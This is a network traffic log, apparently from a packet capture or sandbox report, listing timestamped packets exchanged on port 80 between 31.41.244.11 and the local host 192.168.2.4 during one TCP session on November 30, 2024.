Nov 30, 2024 18:08:28.686583042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.686633110 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.686743021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.686786890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.687609911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.687659025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.687813044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.687853098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.688662052 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.688707113 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.688863039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.688929081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.689740896 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.689786911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.689943075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.689987898 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.690795898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.690841913 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.690989017 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.691035032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.691848040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.691895008 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.692029953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.692071915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.692895889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.692950010 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.693120956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.693170071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.693969011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.694015026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.694159031 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.694200993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.694991112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.695034027 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.695199013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.695242882 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.696094036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.696140051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.696305990 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.696367025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.697110891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.697151899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.697308064 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.697346926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.698189974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.698231936 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.698393106 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.698434114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.699280977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.699327946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.699417114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.699465036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.700287104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.700335979 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.700558901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.700603008 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.701347113 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.701390982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.701539993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.701586962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.702420950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.702466965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.702605009 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.702646017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.703454971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.703501940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.703649044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.703691959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.704591036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.704634905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.704735994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.704786062 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.705566883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.705611944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.705766916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.705812931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.706634045 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.706679106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.706837893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.706886053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.707778931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.707833052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.707917929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.707966089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.708741903 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.708786964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.708945036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.708992958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.709801912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.709846973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.709988117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.710032940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.710886955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.710935116 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.711081982 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.711369038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.712002993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.712047100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.712213039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.712259054 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.713120937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.713166952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.713332891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.713376045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.714088917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.714131117 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.714231014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.714274883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.715091944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.715137005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.715287924 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.715328932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.716150045 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.716197014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.716351986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.716392040 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.717216015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.717262030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.717430115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.717479944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.718276978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.718321085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.718472958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.718518972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.719353914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.719398975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.719492912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.719541073 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.720390081 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.720438004 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.720561028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.720607042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.721631050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.721681118 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.721868038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.721911907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.722474098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.722516060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.722678900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.722723007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.723541975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.723587990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.723737955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.723782063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.724587917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.724632978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.724797964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.724843025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.725682974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.725725889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.725919008 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.725964069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.726720095 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.726829052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.726917982 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.727044106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.727782011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.727833033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.728050947 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.728096962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.728837967 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.728883982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.729032993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.729077101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.729882002 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.729927063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.730082035 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.730128050 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.730956078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.731000900 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.731133938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.731175900 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.732000113 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.732050896 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.732208014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.732251883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.733048916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.733091116 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.733287096 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.733331919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.734067917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.734117985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.879712105 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.879801989 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.880156994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.880203009 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.880477905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.880490065 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.880531073 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.880795956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.880848885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.881479025 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.881527901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.881685972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.881730080 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.882534981 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.882580042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.882740021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.882786036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.883615971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.883675098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.883807898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.883862972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.884632111 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.884692907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.884828091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.884876966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.885706902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.885766029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.885925055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.885974884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.886751890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.886796951 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.886970997 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.887018919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.887803078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.887851000 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.888009071 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.888056993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.888904095 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.888950109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.889097929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.889144897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.889931917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.889997959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.890141010 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.890188932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.890990019 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.891036987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.891197920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.891246080 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.892209053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.892257929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.892409086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.892455101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.893090963 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.893136978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.893289089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.893332958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.894162893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.894207001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.894381046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.894426107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.895199060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.895243883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.895411015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.895453930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.896265030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.896311045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.896471977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.896518946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.897326946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.897371054 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.897548914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.897594929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.898375988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.898418903 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.898570061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.898643017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.899435043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.899481058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.899677038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.899724960 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.900480032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.900544882 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.900696039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.900739908 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.901550055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.901597977 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.901767969 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.901813984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.902601957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.902642965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.902796030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.902842045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.903676033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.903726101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.903860092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.903906107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.904711962 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.904757977 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.904892921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.904939890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.905783892 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.905828953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.905978918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.906023979 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.906857014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.906899929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.907022953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.907066107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.907882929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.907932997 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.908077002 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.908123016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.908973932 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.909013987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.909157991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.909200907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.910005093 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.910051107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.910212994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.910257101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.911091089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.911130905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.911259890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.911305904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.912117004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.912162066 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.912313938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.912360907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.913173914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.913219929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.913364887 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.913409948 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.914230108 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.914469004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.914525032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.915291071 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.915345907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.915486097 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.915534973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.916325092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.916518927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.916574955 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.917439938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.917505026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.917607069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.917659998 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.918528080 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.918584108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.918667078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.918718100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.919531107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.919713020 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.919740915 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.919804096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.920619965 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.920680046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.920818090 CET	80	49805	31.41.244.11	192.168.2.4
